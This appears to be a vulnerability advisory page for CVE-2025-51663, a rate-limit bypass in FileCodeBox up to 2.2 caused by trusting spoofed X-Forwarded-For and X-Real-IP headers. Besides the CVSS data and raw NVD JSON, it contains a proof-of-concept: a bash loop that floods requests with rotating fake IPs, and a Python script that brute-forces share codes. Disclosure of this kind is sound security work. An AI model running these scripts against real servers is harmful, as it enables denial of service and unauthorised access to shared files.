Security Vulnerability Report
中文
CVE-2025-51663 CVSS 7.5 HIGH

CVE-2025-51663

Published: 2025-11-19 20:15:53
Last Modified: 2025-11-24 19:29:36

Description

A vulnerability found in IPRateLimit implementation of FileCodeBox up to 2.2 allows remote attackers to bypass ip-based rate limit protection and failed attempt restrictions by faking X-Real-IP and X-Forwarded-For HTTP headers. This can enable attackers to perform DoS attacks or brute force share codes.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:lanol:filecodebox:*:*:*:*:*:*:*:* - VULNERABLE
FileCodeBox < 2.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-51663 PoC - IP Spoofing to Bypass Rate Limiting # Usage: ./poc.sh <target_url> <target_path> TARGET_URL="$1" TARGET_PATH="${2:-/api/upload}" FAKE_IP_PREFIX="1.2.3." for i in {1..100}; do RANDOM_IP="${FAKE_IP_PREFIX}$((i % 255))" curl -X POST "${TARGET_URL}${TARGET_PATH}" \ -H "X-Forwarded-For: ${RANDOM_IP}" \ -H "X-Real-IP: ${RANDOM_IP}" \ -H "User-Agent: Mozilla/5.0" \ -F "[email protected]" \ -s -o /dev/null -w "IP: ${RANDOM_IP} - HTTP %{http_code}\n" done echo "Rate limit bypass attempt completed" # Python PoC for brute-forcing share codes ''' import requests import random target = "http://target.com" share_code_url = f"{target}/api/download" headers_templates = [ {"X-Forwarded-For": f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}"}, {"X-Real-IP": f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}"} ] for code in range(100000, 999999): headers = random.choice(headers_templates) try: response = requests.get(f"{share_code_url}/{code}", headers=headers, timeout=5) if response.status_code == 200: print(f"Valid share code found: {code}") break except: continue '''

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-51663", "sourceIdentifier": "[email protected]", "published": "2025-11-19T20:15:53.203", "lastModified": "2025-11-24T19:29:36.303", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability found in IPRateLimit implementation of FileCodeBox up to 2.2 allows remote attackers to bypass ip-based rate limit protection and failed attempt restrictions by faking X-Real-IP and X-Forwarded-For HTTP headers. This can enable attackers to perform DoS attacks or brute force share codes."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-305"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lanol:filecodebox:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.2", "matchCriteriaId": "F79F1C73-2F99-49E2-8B8F-64900B8E51FB"}]}]}], "references": [{"url": "https://github.com/vastsa/FileCodeBox", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/vastsa/FileCodeBox/issues/350", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}]}}